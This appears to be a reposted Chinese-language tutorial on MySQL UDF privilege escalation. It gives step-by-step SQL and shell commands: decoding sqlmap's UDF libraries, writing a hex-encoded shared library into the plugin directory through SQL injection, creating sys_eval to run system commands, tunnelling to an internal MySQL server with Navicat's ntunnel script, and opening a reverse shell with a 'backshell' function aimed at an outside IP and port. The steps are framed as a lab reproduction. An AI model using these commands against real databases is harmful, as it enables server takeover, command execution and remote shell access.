概述
UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。
UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。
要实现 UDF 提权需要有一个动态链接库文件
- 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
- 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。
复现
实验环境
MySQL 5.7.28
PHPstudy
MacOS
获取动态链接库
- SQLMap 的udf提权动态链接库 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。 可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
- Metasploit 的udf提权动态链接库
寻找插件目录
接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:
show variables like '%plugin%';
如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。
查看安装目录的方法:
select @@basedir;
写入动态链接库
前提条件
SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。
这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。
将 动态链接库 读取为 HEX,
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
windows环境下使用.dll文件。
然后再写入到插件目录。
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';
成功写入到插件目录。
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
执行命令
攻击者可以利用 udf.dll 提供的函数执行系统命令。
可以看到通过自定义函数已经获取到了最高系统权限。
通过
drop function sys_eval;
可以删除创建的函数。
Navicat通过隧道连接内网MySQL
将Navicat自带的
ntunnel_mysql
脚本上传到目标服务器上
然后使用 http 隧道即可建立连接。
反弹Shell
上传一个支持反弹shell的动态链接库 udf.dll
mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);
版权归原作者 shavchen 所有, 如有侵权,请联系我们删除。